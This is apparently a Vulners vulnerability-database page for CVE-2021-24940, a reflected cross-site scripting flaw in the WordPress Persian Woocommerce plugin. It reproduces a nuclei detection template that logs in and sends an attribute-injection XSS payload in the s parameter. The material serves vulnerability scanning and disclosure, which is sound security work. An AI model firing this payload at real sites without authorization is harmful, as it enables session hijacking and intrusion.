Lucene search
K

WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 27 Views

WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-24940
27 Apr 202309:58
circl
CNNVD
WordPress plugin 跨站脚本漏洞
14 Mar 202200:00
cnnvd
CNVD
WordPress Persian Woocommerce Cross-Site Scripting Vulnerability
16 Mar 202200:00
cnvd
CVE
CVE-2021-24940
14 Mar 202214:40
cve
Cvelist
CVE-2021-24940 Persian Woocommerce <= 5.8.0 - Reflected Cross-Site Scripting
14 Mar 202214:40
cvelist
EUVD
EUVD-2021-11852
7 Oct 202500:30
euvd
NVD
CVE-2021-24940
14 Mar 202215:15
nvd
OSV
CVE-2021-24940
14 Mar 202215:15
osv
Prion
Cross site scripting
14 Mar 202215:15
prion
RedhatCVE
CVE-2021-24940
22 May 202520:36
redhatcve
Rows per page
id: CVE-2021-24940

info:
  name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in 5.9.8.
  reference:
    - https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24940
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24940
    cwe-id: CWE-79
    epss-score: 0.01477
    epss-percentile: 0.70721
    cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: woocommerce
    product: persian-woocommerce
    framework: wordpress
  tags: cve2021,cve,wp,xss,authenticated,wpscan,wordpress,wp-plugin,woocommerce,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(header_2, "text/html")
          - status_code_2 == 200
          - contains(body_2, 'accesskey=X onclick=alert(1) test=')
          - contains(body_2, 'woocommerce_persian_translate')
        condition: and
# digest: 490a0046304402205e82609d799e20bcbfab1956ab3e1ea65257cd0db8530cd39e8df4aee0fe7519022037f5ec3a3322f869fa80cff9e0c7d023322cdb8b634f4d563bf1b8adbde5410d:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.01477
27